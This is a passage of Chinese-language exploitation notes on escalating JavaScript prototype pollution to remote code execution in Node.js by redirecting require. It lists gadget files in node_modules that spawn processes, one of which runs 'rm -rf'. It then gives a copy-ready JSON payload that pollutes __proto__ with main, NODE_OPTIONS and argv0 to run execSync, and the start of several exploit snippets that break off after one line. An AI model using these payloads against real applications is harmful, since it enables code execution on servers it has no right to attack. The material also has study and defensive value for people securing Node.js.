的功能,如果代码没有调用它但是存在 require 的话,我们可以尝试通过原型链污染来包含依赖中调用了 spawn 的 js 文件
一些常见的文件:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
node_modules/buffer/bin/download-node-tests.js:17
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/npm/scripts/changelog.js:16
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
node_modules/detect-libc/bin/detect-libc.js:18
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
node_modules/jest-expo/bin/jest.js:26
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
node_modules/buffer/bin/download-node-tests.js:17
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/runtypes/scripts/format.js:13
const npmBinPath = execSync('npm bin').toString().trim();
node_modules/node-pty/scripts/publish.js:31
const result = cp.spawn('npm', args, { stdio: 'inherit' });
原型链污染设置 require 路径
绝对require
如果执行的 require 是绝对的(require("bytes")
),并且这个包在 package.json 文件中不包含 main,可以直接污染 main 属性并使 require 执行不同的文件
main字段:定义了
npm
包的入口文件,比如说 npm 包 test 下有 lib/index.js 作为入口文件,那么 package.json 中的写法就是"main": "lib/index.js"
exp:
1 | // Create a file called malicious.js in /tmp |
malicious.js
1 | const { fork } = require('child_process'); |
json速抄:
1 | {"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}} |
相对require
如果加载的是相对路径而不是绝对路径,可以使节点加载不同的路径:
1 | // Create a file called malicious.js in /tmp |
法2:
1 | // Create a file called malicious.js in /tmp |
法3:
1 | // Requiring /opt/yarn-v1.22.19/preinstall.js |